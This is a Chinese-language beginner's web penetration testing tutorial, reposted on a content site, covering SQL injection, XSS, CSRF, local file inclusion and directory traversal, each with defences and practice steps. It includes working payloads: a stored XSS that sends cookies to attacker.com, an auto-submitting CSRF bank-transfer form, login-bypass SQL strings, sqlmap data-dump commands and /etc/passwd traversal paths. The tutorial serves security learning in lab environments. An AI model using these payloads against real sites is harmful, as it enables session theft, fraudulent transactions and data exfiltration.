web渗透——小白入狱

在这里插入图片描述

目录

      • 理论知识总结
      • 一、Web渗透核心知识点
      • 二、Web渗透实操案例
      • 三、Web渗透学习建议
      • 实操案例
      • 一、信息收集实操
        • 步骤:
      • 二、SQL注入实操
        • 步骤:
      • 三、跨站脚本攻击(XSS)实操
        • 步骤:
      • 四、CSRF攻击实操
        • 步骤:
      • 五、本地文件包含(LFI)实操
        • 步骤:
      • 六、目录遍历实操
        • 步骤:
      • 七、工具辅助与安全环境

小知学网络

理论知识总结

一、Web渗透核心知识点

  1. Web渗透基础概念

    • Web渗透测试:测试Web应用的安全性,通过模拟攻击手段查找应用的漏洞,保护数据和用户信息。
    • 常见攻击类型:SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)、文件包含、目录遍历等。
    • 攻击流程:信息收集、漏洞扫描、漏洞利用、权限提升、数据泄露或控制等。
  2. 信息收集

    • 目标信息:收集网站的域名、IP、端口、操作系统、开放端口和应用程序等信息。
    • 工具:WHOIS、nslookup、Nmap、Shodan、Google hacking。
    • 实操步骤:使用Nmap扫描目标IP和端口,分析目标的操作系统和开放服务。
  3. SQL注入(SQL Injection)

    • 原理:攻击者通过恶意SQL代码操控数据库,从而实现数据泄露、用户身份绕过等。
    • 检测方法:手动测试、SQLMap、Burp Suite等。
    • 实操案例:使用SQLMap工具测试并注入数据库,提取敏感信息。
  4. 跨站脚本攻击(XSS)

    • 原理:通过注入恶意脚本代码,在用户浏览器中执行,从而窃取用户信息、劫持会话等。
    • 类型:反射型XSS、存储型XSS、DOM型XSS。
    • 防护:输入过滤、输出编码。
    • 实操案例:利用存储型XSS在留言板或评论区注入恶意JavaScript代码,从而在其他用户访问时触发脚本。
  5. 跨站请求伪造(CSRF)

    • 原理:攻击者伪造用户的请求执行未授权操作,利用用户的身份权限发起恶意请求。
    • 检测方法:手动验证CSRF漏洞的存在,或者使用Burp Suite。
    • 防护:使用CSRF Token、检查Referer头、限制用户操作权限。
    • 实操案例:模拟用户的身份提交请求,通过篡改请求实现恶意操作。
  6. 文件包含漏洞

    • 原理:在目标网站中利用不安全的文件包含代码,使服务器加载恶意文件。
    • 类型:本地文件包含(LFI)和远程文件包含(RFI)。
    • 防护:限制文件包含路径,避免直接调用文件路径参数。
    • 实操案例:利用LFI漏洞访问服务器上的敏感文件,如/etc/passwd
  7. 目录遍历

    • 原理:攻击者通过构造路径遍历字符,访问到Web目录外的敏感文件。
    • 检测方法:手动测试不同路径或使用自动化工具扫描。
    • 防护:规范文件路径,禁止目录列表输出。
    • 实操案例:构造../../路径,尝试访问服务器的配置文件或用户隐私数据。
  8. Web应用防护措施

    • 输入验证和输出编码:严格检查用户输入,防止恶意输入引发的漏洞。
    • 加密敏感信息:对存储在数据库中的敏感数据进行加密处理,如用户密码、Token等。
    • 防火墙和IDS/IPS:使用Web应用防火墙(WAF)和入侵检测系统(IDS)进行流量监控。
    • 安全开发生命周期(SDLC):在开发过程中引入安全检测环节,避免漏洞。

二、Web渗透实操案例

  1. 案例1:SQL注入

    • 目标:某在线商城网站。
    • 步骤
      1. 使用Burp Suite拦截登录请求,检查SQL注入漏洞。
      2. 在登录参数中尝试输入' OR 1=1 --等语句。
      3. 通过SQLMap进行自动化注入测试,进一步提取数据库信息。
    • 结果:成功获取到用户名和密码的哈希值。
  2. 案例2:反射型XSS

    • 目标:某社交网站的搜索框。
    • 步骤
      1. 在搜索框输入<script>alert('XSS');</script>,验证是否会在页面中反射执行。
      2. 如果搜索框未过滤,则在页面中显示弹窗,说明存在反射型XSS漏洞。
    • 结果:弹窗成功显示,漏洞存在。
  3. 案例3:CSRF攻击

    • 目标:某银行系统的转账功能。
    • 步骤
      1. 生成CSRF攻击代码,伪造转账请求。
      2. 在受害者打开攻击页面时自动发起请求,导致其在不知情的情况下执行转账。
    • 结果:模拟转账成功,确认CSRF漏洞。
  4. 案例4:本地文件包含(LFI)

    • 目标:某企业内部系统。
    • 步骤
      1. 在URL参数中尝试注入文件路径,如?file=../../../../etc/passwd
      2. 如果服务器未限制路径,则可直接访问服务器中的敏感文件。
    • 结果:成功读取到系统用户信息文件/etc/passwd
  5. 案例5:目录遍历

    • 目标:某公司官网。
    • 步骤
      1. 通过构造URL访问不同路径,例如../admin/config.php
      2. 如果未对目录遍历进行过滤,可以访问到管理员文件夹中的敏感文件。
    • 结果:成功读取到网站配置文件。

三、Web渗透学习建议

  1. 学习基础:掌握HTTP协议、HTML、JavaScript等Web基础知识,以及数据库基本操作。
  2. 熟悉常用工具:如Burp Suite、Nmap、SQLMap、Nikto等。
  3. 实践操作:通过安全实验室或靶场环境进行模拟攻击测试,如DVWA、BWAPP、Hack The Box等。
  4. 深入漏洞原理:理解漏洞产生的原因和修复方法,结合实际代码示例学习漏洞利用和修复。
  5. 法律法规意识:在渗透测试过程中严格遵循网络安全法规,确保仅在授权范围内进行测试。

实操案例

一、信息收集实操

目标:获取目标网站的基本信息,包括IP地址、子域名、开放端口和操作系统等,以便为后续渗透测试做准备。

步骤:
  1. 使用WHOIS查询:获得域名的注册信息。

    • 在终端中输入以下命令:
      whois example.com
      
    • 查看域名的注册人、注册时间、DNS等信息。
  2. 使用Nslookup:获取目标域名的IP地址。

    • 输入命令:
      nslookup example.com
      
    • 返回的IP地址可用于进一步的端口扫描。
  3. 使用Nmap扫描开放端口

    • 在终端中输入以下命令,扫描目标主机开放的端口:
      nmap -sS -sV -O example.com
      
    • -sS表示进行TCP SYN扫描,-sV用于检测服务版本,-O检测操作系统。
  4. 使用Gobuster查找隐藏目录

    • 在终端输入以下命令,使用字典枚举网站目录和文件:
      gobuster dir -u http://example.com -w /path/to/wordlist.txt
      
    • 找到的隐藏目录可以用于进一步测试。

二、SQL注入实操

目标:通过SQL注入技术获取数据库中的敏感数据,如用户名和密码。

步骤:
  1. 手动SQL注入测试

    • 在Web应用的输入框(如登录页面的用户名字段)输入以下常见的SQL注入语句:
      ' OR '1'='1' --
      
    • 观察返回结果是否显示登录成功或数据泄露提示。如果SQL注入成功,可能会绕过验证。
  2. 使用SQLMap进行自动化注入

    • 使用SQLMap工具扫描并提取数据库信息:
      sqlmap -u "http://example.com/login.php?id=1" --dbs
      
    • --dbs选项用于枚举数据库。
    • 获取数据库后,可以进一步查询表和字段:
      sqlmap -u "http://example.com/login.php?id=1" -D database_name --tables
      
    • 最后提取数据:
      sqlmap -u "http://example.com/login.php?id=1" -D database_name -T table_name --dump
      

三、跨站脚本攻击(XSS)实操

目标:利用XSS漏洞在用户浏览器中执行恶意JavaScript代码,以便窃取用户的Cookies或敏感信息。

步骤:
  1. 反射型XSS测试

    • 在搜索框等输入区域尝试输入以下代码:
      <script>alert('XSS Vulnerable');</script>
      
    • 如果页面反射该代码并触发弹窗,说明存在反射型XSS漏洞。
  2. 存储型XSS测试

    • 在评论区或留言板等存储型输入区域,输入以下代码:
      <script>document.write('<img src="http://attacker.com/steal-cookie?c=' + document.cookie + '">');</script>
      
    • 提交后,登录其他用户账户访问该页面,若代码执行且用户Cookie被泄露,说明存在存储型XSS漏洞。
  3. 使用Burp Suite进行XSS检测

    • 使用Burp Suite拦截请求,将输入内容替换为恶意脚本代码,发送请求,观察服务器返回的数据是否执行了代码。

四、CSRF攻击实操

目标:利用CSRF漏洞诱导受害者在未授权的情况下执行恶意请求(如转账操作)。

步骤:
  1. 构造CSRF攻击代码

    • 创建一个HTML文件,伪造目标网站的请求,例如转账请求:
      <html>
      <body><form action="http://example.com/transfer" method="POST"><input type="hidden" name="amount" value="1000"><input type="hidden" name="to_account" value="attacker_account"><input type="submit" value="Transfer Money"></form><script>document.forms[0].submit();</script>
      </body>
      </html>
      
    • 将此文件发给受害者或诱导其点击。一旦打开页面,自动提交的表单会在用户身份下完成转账操作。
  2. Burp Suite检测CSRF

    • 使用Burp Suite拦截用户的请求,尝试对关键请求添加CSRF Token,验证请求是否会被伪造执行。

五、本地文件包含(LFI)实操

目标:通过本地文件包含漏洞读取服务器上的敏感文件(如配置文件)。

步骤:
  1. 手动测试LFI

    • 在目标URL参数中尝试输入文件路径:
      http://example.com/page?file=../../../../etc/passwd
      
    • 如果页面返回文件内容,说明存在LFI漏洞,可进一步访问敏感文件。
  2. 使用Burp Suite进行LFI检测

    • 拦截请求,将参数替换为文件路径,查看响应内容。
    • 逐步更改路径深度以测试其他文件,或使用插件自动化测试。

六、目录遍历实操

目标:利用目录遍历漏洞访问到Web服务器的敏感文件和目录。

步骤:
  1. 手动测试目录遍历

    • 在URL中输入类似以下的路径,尝试访问敏感文件:
      http://example.com/view?file=../../../../etc/hostname
      
    • 若返回文件内容,说明目录遍历成功。
  2. 使用Burp Suite辅助测试

    • 在请求中使用“Repeater”模块,通过重复测试不同路径逐步尝试目录遍历。

七、工具辅助与安全环境

  • 创建虚拟测试环境:使用Kali Linux、DVWA、Metasploitable等工具搭建本地测试环境,在虚拟机或沙盒中模拟Web渗透环境。
  • 使用WAF绕过技术:在具备WAF的测试环境中,通过编码绕过、分块注入等手段进行WAF绕过练习。
知识点概述测试步骤工具
信息收集获取目标的基本信息,为后续渗透做准备。1. 使用WHOIS查询域名注册信息
2. Nslookup获取IP地址
3. 使用Nmap扫描开放端口
4. 使用Gobuster查找隐藏目录
WHOIS, Nslookup, Nmap, Gobuster
SQL注入通过注入恶意SQL语句操控数据库,实现信息泄露、登录绕过等。1. 手动在输入框尝试注入' OR '1'='1' --
2. 使用SQLMap自动注入,枚举数据库和表并提取数据
SQLMap, Burp Suite
XSS(跨站脚本)利用恶意脚本在用户浏览器中执行,窃取Cookie等信息。1. 在输入框尝试<script>alert('XSS');</script>
2. 在评论区插入<img src="http://...">代码用于窃取Cookie
Burp Suite, 手动输入
CSRF攻击伪造用户身份提交恶意请求,实现未授权操作。1. 创建伪造的HTML表单,使用自动提交脚本
2. 在Burp Suite中拦截请求,分析是否存在CSRF漏洞
Burp Suite, 手动操作
文件包含漏洞通过包含服务器上的文件,访问敏感数据。1. 修改URL参数为../../etc/passwd测试LFI
2. 使用Burp Suite修改请求中的参数路径
Burp Suite, 手动输入
目录遍历访问服务器上敏感文件或目录。1. 构造路径../../访问服务器的配置文件
2. 使用Burp Suite测试不同目录路径
Burp Suite, 手动操作
Web应用防护防止常见Web攻击,确保应用安全。1. 对输入进行严格验证
2. 数据库信息加密
3. 使用WAF和IDS检测
4. 安全开发生命周期(SDLC)引入漏洞修复措施
WAF, IDS, 手动检查
工具辅助测试使用自动化工具和漏洞扫描器检测Web应用的安全。1. 配置Kali Linux等渗透环境
2. 结合Nmap、SQLMap、Burp Suite等工具进行漏洞检测和利用
Kali Linux, DVWA, Metasploitable

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/2622.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

一个完整的产品级物联网系统在农业领域的应用,通过传感器、通信、云计算和控制设备的协同工作,实现了智能化的农业灌溉管理

以下为您详细介绍一个智能农业灌溉系统作为产品级的物联网实际案例&#xff1a; **一、项目背景** 随着农业现代化的发展&#xff0c;精准灌溉对于提高农作物产量、节约水资源具有重要意义。传统的灌溉方式往往依赖人工经验&#xff0c;效率低下且浪费水资源。因此&#xff0c…

JeecgBoot入门

最近在了解低代码平台&#xff0c;其中关注到gitee上开源项目JeecgBoot&#xff0c;JeecgBoot官方也有比较完整的入门教学文档&#xff0c;这里我们将耕者官方教程学习&#xff0c;并将其记录下来。 一、项目简介 JeecgBoot 是一款基于代码生成器的低代码开发平台拥有零代码能力…

qt QEvent详解

1、概述 QEvent是Qt框架中事件机制的基础类。在Qt中&#xff0c;事件是由底层窗口系统&#xff08;如Windows、Linux的X11、macOS的Cocoa等&#xff09;生成的&#xff0c;Qt的主事件循环&#xff08;QCoreApplication::exec()&#xff09;负责从事件队列中获取这些事件&#…

#Jest进阶知识:整合 webpack 综合练习

这一小节&#xff0c;我们来做一个综合的练习&#xff0c;该练习会整合&#xff1a; typescriptwebpackjest 准备工作 首先创建项目目录&#xff0c;通过 npm init -y 进行初始化。 整个项目我们打算使用 typescript 进行开发&#xff0c;因此需要安装 typescript npm i t…

【安卓13 源码】Input子系统(4)- InputReader 数据处理

1. 多指触控协议 多指触控协议有 2 种&#xff1a; > A类&#xff1a; 处理无关联的接触&#xff1a; 用于直接发送原始数据&#xff1b; > B类&#xff1a; 处理跟踪识别类的接触&#xff1a; 通过事件slot发送相关联的独立接触更新。 B协议可以使用一个ID来标识触点&…

VMware 虚拟机使用教程及 Kali Linux 安装指南

VMware 虚拟机使用教程及 Kali Linux 安装指南 在现代计算机科学与网络安全领域&#xff0c;虚拟化技术的应用越来越广泛。VMware 是一款功能强大的虚拟化软件&#xff0c;可以帮助用户在同一台物理机上运行多个操作系统。本文将详细介绍如何使用 VMware 虚拟机&#xff0c;并…

工业通信网关的各项功能解析-天拓四方

在工业自动化和智能制造的浪潮中&#xff0c;工业通信网关作为连接工业现场与互联网的重要桥梁&#xff0c;发挥着至关重要的作用。它不仅实现了不同网络协议之间的转换&#xff0c;还在数据采集、设备控制、网络管理等方面展现出强大的功能。 一、协议转换功能 工业通信网关…

用Python打造媒体管理播放器:从零到全功能GUI应用

背景 在日常生活中&#xff0c;我们经常需要管理和播放大量媒体文件。市面上的音频播放器可能功能单一&#xff0c;或者界面复杂。作为一名程序员&#xff0c;我决定使用Python自己打造一个简单yet强大的媒体管理播放器。 C:\pythoncode\new\playsong.py 全部代码 import os…

ubuntu 20.04 安装使用 nvidia gdrcopy

1&#xff0c;预备环境 首先安装 nvidia display driver &#xff0c;cuda toolkit 其次安装依赖工具 sudo apt install build-essential devscripts debhelper fakeroot pkg-config dkms 2&#xff0c;下载源码 git clone --recursive https://github.com/NVIDIA/gdrcopy.…

MongoDB简介

一.MongoDB相关概念 1.1.简介 MongoDB是一个开源&#xff0c;高性能&#xff0c;无模式的文档性数据库&#xff0c;当初的设计就是用于简化开发和方便扩展&#xff0c;是NoSQL数据库产品中的一种。是最像关系型数据库&#xff08;MySQL&#xff09;的非关系数据库。 它支持的…

Socket篇(学习前言)

目录 一、计算机网络 二、网络编程 三、网络编程三要素 1. IP地址 1.1. 简介 1.2. IP地址分为两大类 IPv4 IPv6 1.3. IP地址形式 1.4. DOS常用命令 1.5. 特殊IP地址 2. 端口 2.1. 简介 2.2. 端口号 2.3. 端口类型 周知端口 注册端口 动态端口 3. 协议 3.1. …

【专题】基于服务的体系结构

对于面向服务的体系结构&#xff08;Service-Oriented Architecture&#xff0c;SOA&#xff09;的几种定义&#xff1a; W3C&#xff1a;SOA是一种应用程序体系结构&#xff0c;在这种体系结构中&#xff0c;所有功能都定义为独立的服务&#xff0c;这些服务带有定义明确的可…

AMD显卡低负载看视频掉驱动(chrome edge浏览器) 高负载玩游戏却稳定 解决方法——关闭MPO

问题 折磨的开始是天下苦黄狗久矣&#xff0c;为了不再被讨乞丐的显存恶心&#xff0c;一怒之下购入了AMD显卡&#xff08;20GB显存确实爽 头一天就跑了3dmark验机&#xff0c;完美通过&#xff0c;玩游戏也没毛病 但是呢这厮是一点不省心&#xff0c;玩游戏没问题&#xff0c…

小容器拉动大市场 全面云原生化刻不容缓

毋庸置疑&#xff0c;容器技术的发展推动了云原生计算革命。当前&#xff0c;在云原生已经成为企业用云新常态的情况下&#xff0c;作为一项核心能力&#xff0c;容器管理与服务也成了检验云服务商的试金石。Omdia最新发布的《Omdia Universe: Cloud Container Management &…

一招帮你搞懂数据结构的插入、删除

目录 一、尾部插入&#xff08;添加&#xff09; 1.初始化 2.一个打印数组的函数 3.尾插 4.完整版 二、任意位置插入 1.流程图 2.任意插 3.完整版 三、指定数据删除 1.流程图 2. 删除&#xff08;首位查找到的元素&#xff09; 四、删除所有 思想 代码 五、有序…

二叉树相关算法

满二叉树&#xff1a;每层都是满的 完全二叉树&#xff1a;特殊的满二叉树&#xff0c;可以有一个子节点&#xff0c;但最后一层必须是从左到右排列&#xff0c;中间不能有空隙&#xff0c;强调除了最后一层外&#xff0c;其他层都是满的 一、dfs深度搜索 例题&#xff1a;求…

Sigrity Power SI VR noise Metrics check模式如何进行电源噪声耦合分析操作指导

SSigrity Power SI VR noise Metrics check模式如何进行电源噪声耦合分析操作指导 Sigrity Power SI的VR noise Metrics check模式本质上是用来评估和观测器件的电源网络的耦合对于信号的影响,输出S参数以及列出具体的贡献值。 以下图为例

OpenGL入门004——使用EBO绘制矩形

本节将利用EBO来绘制矩形 文章目录 一些概念EBO 实战简介utilswindowFactory.hRectangleModel.hRectangleModel.cpp main.cppCMakeLists.txt最终效果 一些概念 EBO 概述&#xff1a; Element Buffer Object 用于存储顶点的索引数据&#xff0c;以便在绘制图形时可以重用顶点数…

Qt 视口和窗口

Qt 视口和窗口 1、视口和窗口的定义与原理 绘图设备的物理坐标是基本的坐标系&#xff0c;通过 QPainter 的平移、旋转等变换可以得到更容易操作的逻辑坐标。 为了实现更方便的坐标&#xff0c;QPainter 还提供了视口 (Viewport)和窗口 (Window)坐标系&#xff0c;通过Q…

hunyuan-DiT模型部署指南

一、介绍 Hunyuan-DiT是由腾讯混元推出的扩散模型&#xff0c;支持中文和英文双语输入&#xff0c;其他开源模型相比&#xff0c;Hunyuan-DiT 在中文到图像生成方面树立了新的水平。 二、部署流程 环境要求&#xff1a; 所需的最小 GPU 内存为 11GB&#xff0c; 建议使用具…